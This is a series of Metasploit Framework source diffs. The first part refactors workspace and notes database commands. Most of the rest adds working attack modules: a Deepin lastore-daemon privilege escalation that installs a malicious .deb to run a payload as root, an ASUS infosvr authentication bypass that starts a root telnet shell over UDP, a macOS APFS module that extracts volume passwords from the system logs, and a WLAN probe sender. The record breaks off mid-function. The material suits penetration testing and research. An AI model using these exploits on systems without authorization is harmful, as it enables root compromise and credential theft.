workspace = opts.delete(:wspace) || opts.delete(:workspace) || workspace
find_workspace(workspace) if (workspace.is_a?(String))
return deleted
}
end
def update_workspace(opts)
raise ArgumentError.new("The following options are required: :id") if opts[:id].nil?
Msf::Util::DBManager.delete_opts_workspace(opts)
::ActiveRecord::Base.connection_pool.with_connection {
ws_to_update = workspaces({ id: opts.delete(:id) }).first
default_renamed = true if ws_to_update.name == DEFAULT_WORKSPACE_NAME
updated_ws = Mdm::Workspace.update(ws_to_update.id, opts)
add_workspace({ name: DEFAULT_WORKSPACE_NAME }) if default_renamed
updated_ws
}
end
end

View File

@ -550,8 +550,8 @@ class Exploit < Msf::Module
reqs['AppendEncoder'] = payload_append_encoder(explicit_target)
reqs['MaxNops'] = payload_max_nops(explicit_target)
reqs['MinNops'] = payload_min_nops(explicit_target)
reqs['Encoder'] = datastore['ENCODER']
reqs['Nop'] = datastore['NOP']
reqs['Encoder'] = datastore['ENCODER'] || payload_encoder(explicit_target)
reqs['Nop'] = datastore['NOP'] || payload_nop(explicit_target)
reqs['EncoderType'] = payload_encoder_type(explicit_target)
reqs['EncoderOptions'] = payload_encoder_options(explicit_target)
reqs['ExtendedOptions'] = payload_extended_options(explicit_target)
@ -916,9 +916,37 @@ class Exploit < Msf::Module
end
end
#
# Returns the payload encoder that is associated with either the
# current target or the exploit in general.
#
def payload_encoder(explicit_target = nil)
explicit_target ||= target
if (explicit_target and explicit_target.payload_encoder)
explicit_target.payload_encoder
else
payload_info['Encoder']
end
end
#
# Returns the payload NOP generator that is associated with either the
# current target or the exploit in general.
#
def payload_nop(explicit_target = nil)
explicit_target ||= target
if (explicit_target and explicit_target.payload_nop)
explicit_target.payload_nop
else
payload_info['Nop']
end
end
#
# Returns the payload encoder type that is associated with either the
# current target of the exploit in general.
# current target or the exploit in general.
#
def payload_encoder_type(explicit_target = nil)
explicit_target ||= target

View File

@ -233,6 +233,22 @@ class Msf::Module::Target
opts['Payload'] ? opts['Payload']['Space'] : nil
end
#
# The payload encoder or encoders that can be used when generating the
# encoded payload (such as x86/shikata_ga_nai and so on).
#
def payload_encoder
opts['Payload'] ? opts['Payload']['Encoder'] : nil
end
#
# The payload NOP generator or generators that can be used when generating the
# encoded payload (such as x86/opty2 and so on).
#
def payload_nop
opts['Payload'] ? opts['Payload']['Nop'] : nil
end
#
# The payload encoder type or types that can be used when generating the
# encoded payload (such as alphanum, unicode, xor, and so on).

View File

@ -142,26 +142,76 @@ class Db
if adding and names
# Add workspaces
workspace = nil
wspace = nil
names.each do |name|
workspace = framework.db.add_workspace(name)
print_status("Added workspace: #{workspace.name}")
wspace = framework.db.workspaces(name: name).first
if wspace
print_status("Workspace '#{wspace.name}' already existed, switching to it.")
else
wspace = framework.db.add_workspace(name)
print_status("Added workspace: #{wspace.name}")
end
framework.db.workspace = workspace
end
framework.db.workspace = wspace
print_status("Workspace: #{framework.db.workspace.name}")
elsif deleting and names
status_msg, error_msg = framework.db.delete_workspaces(names)
print_msgs(status_msg, error_msg)
ws_ids_to_delete = []
starting_ws = framework.db.workspace
names.uniq.each do |n|
ws = framework.db.workspaces(name: n).first
ws_ids_to_delete << ws.id if ws
end
if ws_ids_to_delete.count > 0
deleted = framework.db.delete_workspaces(ids: ws_ids_to_delete)
process_deleted_workspaces(deleted, starting_ws)
else
print_status("No workspaces matching the given name(s) were found.")
end
elsif delete_all
status_msg, error_msg = framework.db.delete_all_workspaces()
print_msgs(status_msg, error_msg)
ws_ids_to_delete = []
starting_ws = framework.db.workspace
framework.db.workspaces.each do |ws|
ws_ids_to_delete << ws.id
end
deleted = framework.db.delete_workspaces(ids: ws_ids_to_delete)
process_deleted_workspaces(deleted, starting_ws)
elsif renaming
if names.length != 2
print_error("Wrong number of arguments to rename")
return
end
old, new = names
framework.db.rename_workspace(old, new)
ws_to_update = framework.db.find_workspace(names.first)
unless ws_to_update
print_error("Workspace '#{names.first}' does not exist")
return
end
opts = {
id: ws_to_update.id,
name: names.last
}
begin
if names.last == Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME
print_error("Unable to rename a workspace to '#{Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME}'")
return
end
updated_ws = framework.db.update_workspace(opts)
if updated_ws
framework.db.workspace = updated_ws if names.first == framework.db.workspace.name
print_status("Renamed workspace '#{names.first}' to '#{updated_ws.name}'")
else
print_error "There was a problem updating the workspace. Setting to the default workspace."
framework.db.workspace = framework.db.default_workspace
return
end
if names.first == Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME
print_status("Recreated default workspace")
end
rescue Exception => e
print_error "Failed to rename workspace: #{e.message}"
e.backtrace.each { |line| print_error "#{line}"}
end
elsif names
name = names.last
# Switch workspace
@ -174,12 +224,12 @@ class Db
return
end
else
workspace = framework.db.workspace
current_workspace = framework.db.workspace
unless verbose
current = nil
framework.db.workspaces.sort_by {|s| s.name}.each do |s|
if s.name == workspace.name
if s.name == current_workspace.name
current = s.name
else
print_line(" #{s.name}")
@ -188,8 +238,6 @@ class Db
print_line("%red* #{current}%clr") unless current.nil?
return
end
workspace = framework.db.workspace
col_names = %w{current name hosts services vulns creds loots notes}
tbl = Rex::Text::Table.new(
@ -199,17 +247,16 @@ class Db
'SearchTerm' => search_term
)
# List workspaces
framework.db.workspace_associations_counts.each do |ws|
framework.db.workspaces.each do |ws|
tbl << [
ws[:name] == workspace.name ? '*' : '',
ws[:name],
ws[:hosts_count],
ws[:services_count],
ws[:vulns_count],
ws[:creds_count],
ws[:loots_count],
ws[:notes_count]
current_workspace.name == ws.name ? '*' : '',
ws.name,
framework.db.hosts(ws.name).count,
framework.db.services(ws.name).count,
framework.db.vulns({workspace: ws.name}).count,
framework.db.creds({workspace: ws.name}).count,
framework.db.loots(ws.name).count,
framework.db.notes({workspace: ws.name}).count
]
end
@ -218,6 +265,19 @@ class Db
end
end
def process_deleted_workspaces(deleted_workspaces, starting_ws)
deleted_workspaces.each do |ws|
print_status "Deleted workspace: #{ws.name}"
if ws.name == Msf::DBManager::Workspace::DEFAULT_WORKSPACE_NAME
framework.db.workspace = framework.db.default_workspace
print_status 'Recreated the default workspace'
elsif ws == starting_ws
framework.db.workspace = framework.db.default_workspace
print_status "Switched to workspace: #{framework.db.workspace.name}"
end
end
end
def cmd_workspace_tabs(str, words)
return [] unless active?
framework.db.workspaces.map { |s| s.name } if (words & ['-a','--add']).empty?
@ -919,17 +979,17 @@ class Db
print_line " -a,--add Add a note to the list of addresses, instead of listing"
print_line " -d,--delete Delete the hosts instead of searching"
print_line " -n,--note <data> Set the data for a new note (only with -a)"
print_line " -t <type1,type2> Search for a list of types"
print_line " -t,--type <type1,type2> Search for a list of types, or set single type for add"
print_line " -h,--help Show this help information"
print_line " -R,--rhosts Set RHOSTS from the results of the search"
print_line " -S,--search Regular expression to match for search"
print_line " -S,--search Search string to filter by"
print_line " -o,--output Save the notes to a csv file"
print_line " --sort <field1,field2> Fields to sort by (case sensitive)"
print_line " -O <column> Order rows by specified column number"
print_line
print_line "Examples:"
print_line " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41"
print_line " notes -t smb.fingerprint 10.1.1.34 10.1.20.41"
print_line " notes -S 'nmap.nse.(http|rtsp)' --sort type,output"
print_line " notes -S 'nmap.nse.(http|rtsp)'"
print_line
end
@ -944,7 +1004,8 @@ class Db
host_ranges = []
rhosts = []
search_term = nil
out_file = nil
output_file = nil
delete_count = 0
while (arg = args.shift)
case arg
@ -958,7 +1019,7 @@ class Db
print_error("Can't make a note with no data")
return
end
when '-t'
when '-t', '--type'
typelist = args.shift
if(!typelist)
print_error("Invalid type list")
@ -968,11 +1029,16 @@ class Db
when '-R', '--rhosts'
set_rhosts = true
when '-S', '--search'
search_term = /#{args.shift}/nmi
when '--sort'
sort_term = args.shift
search_term = args.shift
when '-o', '--output'
out_file = args.shift
output_file = args.shift
when '-O'
if (order_by = args.shift.to_i - 1) < 0
print_error('Please specify a column number starting from 1')
return
end
when '-u', '--update' # TODO: This is currently undocumented because it's not officially supported.
mode = :update
when '-h', '--help'
cmd_notes_help
return
@ -985,133 +1051,132 @@ class Db
end
if mode == :add
if types.nil? or types.size != 1
print_error("Exactly one note type is required")
if host_ranges.compact.empty?
print_error("Host address or range required")
return
end
if types && types.size != 1
print_error("Exactly one type is required")
return
end
if data.nil?
print_error("Data required")
return
end
type = types.first
host_ranges.each { |range|
range.each { |addr|
host = framework.db.find_or_create_host(:host => addr)
break if not host
note = framework.db.find_or_create_note(:host => host, :type => type, :data => data)
note = framework.db.find_or_create_note(host: addr, type: type, data: data)
break if not note
print_status("Time: #{note.created_at} Note: host=#{host.address} type=#{note.ntype} data=#{note.data}")
print_status("Time: #{note.created_at} Note: host=#{addr} type=#{note.ntype} data=#{note.data}")
}
}
return
end
note_list = []
delete_count = 0
# No host specified - collect all notes
if host_ranges.empty?
note_list = framework.db.notes.dup
# Collect notes of specified hosts
else
each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, false, host_search).each do |host|
note_list.concat(host.notes)
if mode == :update
if types && types.size != 1
print_error("Exactly one type is required")
return
end
end
end
if search_term
note_list = note_list.select do |n|
n.attribute_names.any? { |a| n[a.intern].to_s.match(search_term) }
if !types && !data
print_error("Update requires data or type")
return
end
end
# Sort the notes based on the sort_term provided
if sort_term != nil
sort_terms = sort_term.split(",")
note_list.sort_by! do |note|
orderlist = []
sort_terms.each do |term|
term = "ntype" if term == "type"
term = "created_at" if term == "Time"
if term == nil
orderlist << ""
elsif term == "service"
if note.service != nil
orderlist << make_sortable(note.service.name)
end
elsif term == "port"
if note.service != nil
orderlist << make_sortable(note.service.port)
end
elsif term == "output"
orderlist << make_sortable(note.data["output"])
elsif note.respond_to?(term, true)
orderlist << make_sortable(note.send(term))
elsif note.respond_to?(term.to_sym, true)
orderlist << make_sortable(note.send(term.to_sym))
elsif note.respond_to?("data", true) && note.send("data").respond_to?(term, true)
orderlist << make_sortable(note.send("data").send(term))
elsif note.respond_to?("data", true) && note.send("data").respond_to?(term.to_sym, true)
orderlist << make_sortable(note.send("data").send(term.to_sym))
note_list = []
if host_ranges.compact.empty?
# No host specified - collect all notes
opts = {search_term: search_term}
opts[:ntype] = types if mode != :update && types && !types.empty?
note_list = framework.db.notes(opts)
else
orderlist << ""
end
end
orderlist
# Collect notes of specified hosts
each_host_range_chunk(host_ranges) do |host_search|
break if !host_search.nil? && host_search.empty?
opts = {hosts: {address: host_search}, workspace: framework.db.workspace, search_term: search_term}
opts[:ntype] = types if mode != :update && types && !types.empty?
note_list.concat(framework.db.notes(opts))
end
end
# Now display them
csv_table = Rex::Text::Table.new(
table = Rex::Text::Table.new(
'Header' => 'Notes',
'Indent' => 1,
'Columns' => ['Time', 'Host', 'Service', 'Port', 'Protocol', 'Type', 'Data']
'Columns' => ['Time', 'Host', 'Service', 'Port', 'Protocol', 'Type', 'Data'],
'SortIndex' => order_by
)
matched_note_ids = []
note_list.each do |note|
next if(types and types.index(note.ntype).nil?)
csv_note = []
msg = "Time: #{note.created_at} Note:"
csv_note << note.created_at if out_file
if (note.host)
if mode == :update
begin
update_opts = {id: note.id}
if types
note.ntype = types.first
update_opts[:ntype] = types.first
end
if data
note.data = data
update_opts[:data] = data
end
framework.db.update_note(update_opts)
rescue Exception => e
elog "There was an error updating note with ID #{note.id}: #{e.message}"
next
end
end
matched_note_ids << note.id
row = []
row << note.created_at
if note.host
host = note.host
msg << " host=#{note.host.address}"
csv_note << note.host.address if out_file
row << host.address
if set_rhosts
addr = (host.scope ? host.address + '%' + host.scope : host.address)
rhosts << addr
end
else
csv_note << ''
end
if (note.service)
msg << " service=#{note.service.name}" if note.service.name
csv_note << note.service.name || '' if out_file
msg << " port=#{note.service.port}" if note.service.port
csv_note << note.service.port || '' if out_file
msg << " protocol=#{note.service.proto}" if note.service.proto
csv_note << note.service.proto || '' if out_file
else
if out_file
csv_note << '' # For the Service field
csv_note << '' # For the Port field
csv_note << '' # For the Protocol field
end
end
msg << " type=#{note.ntype} data=#{note.data.inspect}"
if out_file
csv_note << note.ntype
csv_note << note.data.inspect
end
if out_file
csv_table << csv_note
else
print_status(msg)
end
if mode == :delete
note.destroy
delete_count += 1
end
row << ''
end
if out_file
save_csv_notes(out_file, csv_table)
if note.service
row << note.service.name || ''
row << note.service.port || ''
row << note.service.proto || ''
else
row << '' # For the Service field
row << '' # For the Port field
row << '' # For the Protocol field
end
row << note.ntype
row << note.data.inspect
table << row
end
if mode == :delete
result = framework.db.delete_note(ids: matched_note_ids)
delete_count = result.size
end
if output_file
save_csv_notes(output_file, table)
else
print_line
print_line(table.to_s)
end
# Finally, handle the case where the user wants the resulting list
@ -1122,33 +1187,17 @@ class Db
}
end
def save_csv_notes(fpath, csv_table)
def save_csv_notes(fpath, table)
begin
File.open(fpath, 'wb') do |f|
f.write(csv_table.to_csv)
f.write(table.to_csv)
end
print_status("Notes saved as #{fpath}")
print_status("Wrote notes to #{fpath}")
rescue Errno::EACCES => e
print_error("Unable to save notes. #{e.message}")
end
end
def make_sortable(input)
case input
when String
input = input.downcase
when Integer
input = "%016" % input
when Time
input = input.strftime("%Y%m%d%H%M%S%L")
when NilClass
input = ""
else
input = input.inspect.downcase
end
input
end
def cmd_loot_help
print_line "Usage: loot <options>"
print_line " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]"
@ -1940,10 +1989,11 @@ class Db
end
endpoint = "#{protocol}://#{host}:#{port}"
remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint, https_opts)
remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint, framework, https_opts)
begin
framework.db.register_data_service(remote_data_service)
print_line "Registered data service: #{remote_data_service.name}"
framework.db.workspace = framework.db.default_workspace
rescue Exception => e
print_error "There was a problem registering the remote data service: #{e.message}"
end
@ -1951,7 +2001,9 @@ class Db
def set_data_service(service_id)
begin
framework.db.set_data_service(service_id)
data_service = framework.db.set_data_service(service_id)
framework.db.workspace = framework.db.default_workspace
data_service
rescue Exception => e
print_error "Unable to set data service: #{e.message}"
end

View File

@ -378,6 +378,7 @@ class Driver < Msf::Ui::Driver
print_warning("\t#{path}: #{error}")
end
end
framework.db.workspace = framework.db.default_workspace
framework.events.on_ui_start(Msf::Framework::Revision)

View File

@ -5,15 +5,50 @@ module Msf
#
# @param model - An ActiveRecord model object
# @param search - A string regex search
# @param column_name_skip_list - An array of strings containing column names to skip
# @return Arel::Nodes::Or object that represents a search of all of the model's columns
def self.create_all_column_search_conditions(model, search)
def self.create_all_column_search_conditions(model, search, column_name_skip_list=nil)
search = "(?mi)#{search}"
condition_set = model.columns.map do |column|
# remove skip columns
columns = model.columns.reject { |column|
column_name_skip_list && column_name_skip_list.include?(column.name)
}
condition_set = columns.map { |column|
Arel::Nodes::Regexp.new(Arel::Nodes::NamedFunction.new("CAST", [model.arel_table[column.name].as("TEXT")]),
Arel::Nodes.build_quoted(search))
end
}
condition_set.reduce { |conditions, condition| conditions.or(condition).expr }
end
# Processes the workspace value in the opts hash from a request. This method throws an exception if
# :workspace was not present but required was true, deletes the workspace from the hash, and
# looks up the workspace object by name, which it returns.
#
# @param [Hash] opts The opts hash passed in from the data request. Should contain :workspace if required is true.
# @param [Msf::Framework] framework A framework object containing a valid database connection.
# @param [Bool] required true if the :workspace key is required for this data operation. false if it is only optional.
# @return [Mdm::Workspace] The workspace object that was referenced by name in opts.
def self.process_opts_workspace(opts, framework, required = true)
wspace = delete_opts_workspace(opts)
if required && (wspace.nil? || ((wspace.kind_of? String) && wspace.empty?))
raise ArgumentError.new("opts must include a valid :workspace")
end
if wspace.kind_of? String
wspace = framework.db.find_workspace(wspace)
end
wspace
end
# Removes the :workspace or :wspace key from the opts hash.
#
# @param [Hash] opts The opts hash passed in from the data request.
# @return [String] The name of the workspace that was contained in the key.
def self.delete_opts_workspace(opts)
wlog("Both :workspace and :wspace were found in opts. Using :workspace.") if opts[:workspace] && opts[:wspace]
opts.delete(:workspace) || opts.delete(:wspace)
end
end
end
end

View File

@ -376,12 +376,13 @@ module Rex
reported = []
@report_data[:ports].each do |svc|
scripts = svc.delete(:scripts) || []
svc_obj = db_report(:service, svc.merge(:host => host_object))
wspace = db.workspaces({:id => host_object.workspace.id}).first
svc_obj = db_report(:service, svc.merge(:host => host_object, :workspace => wspace.name))
scripts.each do |script|
script.each_pair do |k,v|
ntype =
nse_note = {
:workspace => host_object.workspace,
:workspace => wspace,
:host => host_object,
:service => svc_obj,
:type => "nmap.nse.#{k}." + (svc[:proto] || "tcp") +".#{svc[:port]}",

View File

@ -138,7 +138,7 @@ Gem::Specification.new do |spec|
# Core of the Ruby Exploitation Library
spec.add_runtime_dependency 'rex-core'
# Text manipulation library for things like generating random string
spec.add_runtime_dependency 'rex-text', ["< 0.2.18"]
spec.add_runtime_dependency 'rex-text'
# Library for Generating Randomized strings valid as Identifiers such as variable names
spec.add_runtime_dependency 'rex-random_identifier'
# library for creating Powershell scripts for exploitation purposes

View File

@ -0,0 +1,172 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'lastore-daemon D-Bus Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Deepin Linux systems
by using lastore-daemon to install a package.
The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any
user in the sudo group to install arbitrary system packages without
providing a password, resulting in code execution as root. By default,
the first user created on the system is a member of the sudo group.
This module has been tested successfully with lastore-daemon version
0.9.53-1 on Deepin Linux 15.5 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
"King's Way", # Discovery and exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Feb 2 2016',
'References' =>
[
[ 'EDB', '39433' ],
[ 'URL', 'https://gist.github.com/bcoles/02aa274ce32dc350e34b6d4d1ad0e0e8' ],
],
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'DefaultTarget' => 0))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir']
end
def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def command_exists?(cmd)
cmd_exec("command -v #{cmd} && echo true").include? 'true'
end
def dbus_priv?
res = install_package '', ''
(res.include? 'DBus.Error.AccessDenied') ? false : true
end
def install_package(name, path)
dbus_send dest: 'com.deepin.lastore',
type: 'method_call',
path: '/com/deepin/lastore',
interface: 'com.deepin.lastore.Manager.InstallPackage',
contents: "string:'#{name}' string:'#{path}'"
end
def remove_package(name)
dbus_send dest: 'com.deepin.lastore',
type: 'method_call',
path: '/com/deepin/lastore',
interface: 'com.deepin.lastore.Manager.RemovePackage',
contents: "string:' ' string:'#{name}'"
end
def dbus_send(dest:, type:, path:, interface:, contents:)
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
end
def check
%w(lastore-daemon dpkg-deb dbus-send).each do |cmd|
unless command_exists? cmd
vprint_error "#{cmd} is not installed. Exploitation will fail."
return CheckCode::Safe
end
vprint_good "#{cmd} is installed"
end
unless dbus_priv?
vprint_error 'User is not permitted to install packages. Exploitation will fail.'
return CheckCode::Safe
end
vprint_good 'User is permitted to install packages'
CheckCode::Appears
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
print_status 'Building package...'
payload_name = ".#{rand_text_alphanumeric rand(10..15)}"
payload_path = "#{base_dir}/#{payload_name}"
pkg_name = rand_text_alphanumeric rand(10..15)
pkg_path = "#{base_dir}/.#{pkg_name}"
mkdir "#{pkg_path}/DEBIAN"
pkg = "Package: #{pkg_name}\n"
pkg << "Version: 0.1\n"
pkg << "Maintainer: #{pkg_name}\n"
pkg << "Architecture: all\n"
pkg << "Description: #{pkg_name}\n"
upload "#{pkg_path}/DEBIAN/control", pkg
upload_and_chmodx "#{pkg_path}/DEBIAN/postinst", "#!/bin/sh\n#{payload_path} &"
cmd_exec "dpkg-deb --build '#{pkg_path}'"
unless file_exist? "#{pkg_path}.deb"
fail_with Failure::Unknown, 'Building package failed'
end
print_status 'Uploading payload...'
upload_and_chmodx payload_path, generate_payload_exe
print_status 'Installing package...'
res = install_package pkg_name, "#{pkg_path}.deb"
vprint_line res
unless res.include? 'object path'
fail_with Failure::Unknown, 'Package installation failed. Check /var/log/lastore/daemon.log'
end
Rex.sleep 15
print_status 'Removing package...'
res = remove_package pkg_name.downcase
vprint_line res
unless res.include? 'object path'
print_warning 'Package removal failed. Check /var/log/lastore/daemon.log'
end
end
end

View File

@ -0,0 +1,141 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'ASUS infosvr Auth Bypass Command Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the
infosvr service running on UDP port 9999 on various ASUS routers to
execute arbitrary commands as root.
This module launches the BusyBox Telnet daemon on the port specified
in the TelnetPort option to gain an interactive remote shell.
This module was tested successfully on an ASUS RT-N12E with firmware
version 2.0.0.35.
Numerous ASUS models are reportedly affected, but untested.
},
'Author' =>
[
'Friedrich Postelstorfer', # Initial public disclosure and Python exploit
'jduck', # Independent discovery and C exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'References' =>
[
['CVE', '2014-9583'],
['EDB', '35688'],
['URL', 'https://github.com/jduck/asus-cmd']
],
'DisclosureDate' => 'Jan 4 2015',
'Privileged' => true,
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0))
register_options [
Opt::RPORT(9999),
OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 4444]),
OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]),
OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25])
]
register_advanced_options [
# If the session is killed (CTRL+C) rather than exiting cleanly,
# the telnet port remains open, but is unresponsive, and prevents
# re-exploitation until the device is rebooted.
OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit'])
]
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def telnet_port
datastore['TelnetPort']
end
def request(cmd)
pkt = ''
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
pkt << "\x0C"
# PacketType [byte] ; NET_PACKET_TYPE_CMD
pkt << "\x15"
# OpCode [word] ; NET_CMD_ID_MANU_CMD
pkt << "\x33\x00"
# Info [dword] ; Comment: "Or Transaction ID"
pkt << Rex::Text.rand_text_alphanumeric(4)
# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
pkt << Rex::Text.rand_text_alphanumeric(6)
# Password [byte[32]] ; Not checked at all
pkt << "\x00" * 32
# Command Length + \x00 + Command padded to 512 bytes
pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00")
end
def exploit
connect_udp
print_status "#{rhost} - Starting telnetd on port #{telnet_port}..."
udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}"
disconnect_udp
vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..."
Rex.sleep 3
vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..."
sock = Rex::Socket.create_tcp 'PeerHost' => rhost,
'PeerPort' => telnet_port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
'Timeout' => telnet_timeout
if sock.nil?
fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}"
end
vprint_status "#{rhost} - Trying to establish a telnet session..."
prompt = negotiate_telnet sock
if prompt.nil?
sock.close
fail_with Failure::Unknown, 'Unable to establish a telnet session'
end
print_good "#{rhost} - Telnet session successfully established..."
handler sock
end
def negotiate_telnet(sock)
prompt = '#'
Timeout.timeout(datastore['TelnetBannerTimeout']) do
while true
data = sock.get_once(-1, telnet_timeout)
if !data or data.length == 0
return nil
elsif data.include? prompt
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end

View File

@ -0,0 +1,71 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X APFS Encrypted Volume Password Disclosure',
'Description' => %q(
This module exploits a flaw in OSX 10.13 through 10.13.3
that discloses the passwords of encrypted APFS volumes.
In OSX a normal user can use the 'log' command to view the system
logs. In OSX 10.13 to 10.13.2 when a user creates an encrypted APFS
volume the password is visible in plaintext within these logs.
),
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://thehackernews.com/2018/03/macos-apfs-password.html' ],
[ 'URL', 'https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp' ]
],
'Platform' => 'osx',
'Arch' => ARCH_ALL,
'Author' => [
'Sarah Edwards', # earliest public discovery
'cbrnrd' # Metasploit module
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X High Sierra (10.13.1, 10.13.2, 10.13.3)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2018'
))
register_options([
# The command doesn't give volume names, only mount paths (current or previous)
OptString.new('MOUNT_PATH', [false, 'The mount path of the volume to get the password of (Leave blank for all)', ''])
])
end
def check
osx_version = cmd_exec('sw_vers -productVersion')
return Exploit::CheckCode::Vulnerable if osx_version =~ /^10\.13[\.[0-3]]?$/
Exploit::CheckCode::Safe
end
def run
if check == Exploit::CheckCode::Safe
print_error "This version of OSX is not vulnerable"
return
end
cmd = "log show --info --predicate 'eventMessage contains \"newfs_\"'"
cmd << " | grep #{datastore['MOUNT_PATH']}" unless datastore['MOUNT_PATH'].empty?
vprint_status "Running \"#{cmd}\" on target..."
results = cmd_exec(cmd)
vprint_status "Target results:\n#{results}"
if results.empty?
print_error 'Got no response from target. Stopping...'
else
successful_lines = 0
results.lines.each do |l|
next unless l =~ /newfs_apfs(.*)-S(.*)$/
print_good "APFS command found: #{$&}"
successful_lines += 1
end
print_error "No password(s) found for any volumes. Exiting..." if successful_lines.zero?
end
end
end

View File

@ -0,0 +1,143 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Send Probe Request Packets',
'Description' => %q{
This module send probe requests through the wlan interface.
The ESSID field will be use to set a custom message.
},
'License' => MSF_LICENSE,
'Author' => [ 'bmerinofe@gmail.com' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('SSID', [true, 'Message to be embedded in the SSID field', '']),
OptInt.new('TIMEOUT', [false, 'Timeout in seconds running probes', '30'])
])
end
def run
ssid = datastore['SSID']
time = datastore['TIMEOUT']
if ssid.length > 32
print_error("The SSID must be equal to or less than 32 bytes")
return
end
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_handle = open_handle()
unless wlan_handle
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off")
return
end
# typedef struct _DOT11_SSID {
# ULONG uSSIDLength;
# UCHAR ucSSID[DOT11_SSID_MAX_LENGTH];
# } DOT11_SSID, *PDOT11_SSID;
pDot11Ssid = [ssid.length].pack("L<") << ssid
wlan_iflist = enum_interfaces(wlan_handle)
if wlan_iflist.length == 0
print_status("Wlan interfaces not found")
return
end
print_status("Wlan interfaces found: #{wlan_iflist.length}")
print_status("Sending probe requests for #{time} seconds")
begin
::Timeout.timeout(time) do
while true
wlan_iflist.each do |interface|
vprint_status("Interface Guid: #{interface['guid'].unpack('H*')[0]}")
vprint_status("Interface State: #{interface['state']}")
vprint_status("DOT11_SSID payload: #{pDot11Ssid.chars.map {|c| c.ord.to_s(16) }.join(':')}")
@wlanapi.WlanScan(wlan_handle,interface['guid'],pDot11Ssid,nil,nil)
sleep(10)
end
end
end
rescue ::Timeout::Error
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
if closehandle['return'] == 0
print_status("WlanAPI Handle closed successfully")
else
print_error("There was an error closing the Handle")
end
end
end
# Function borrowed from @theLightCosine wlan_* modules
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
rescue
return nil
end
return wlhandle['phClientHandle']
end
# Function borrowed from @theLightCosine wlan_* modules
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
pointer= iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer,4)
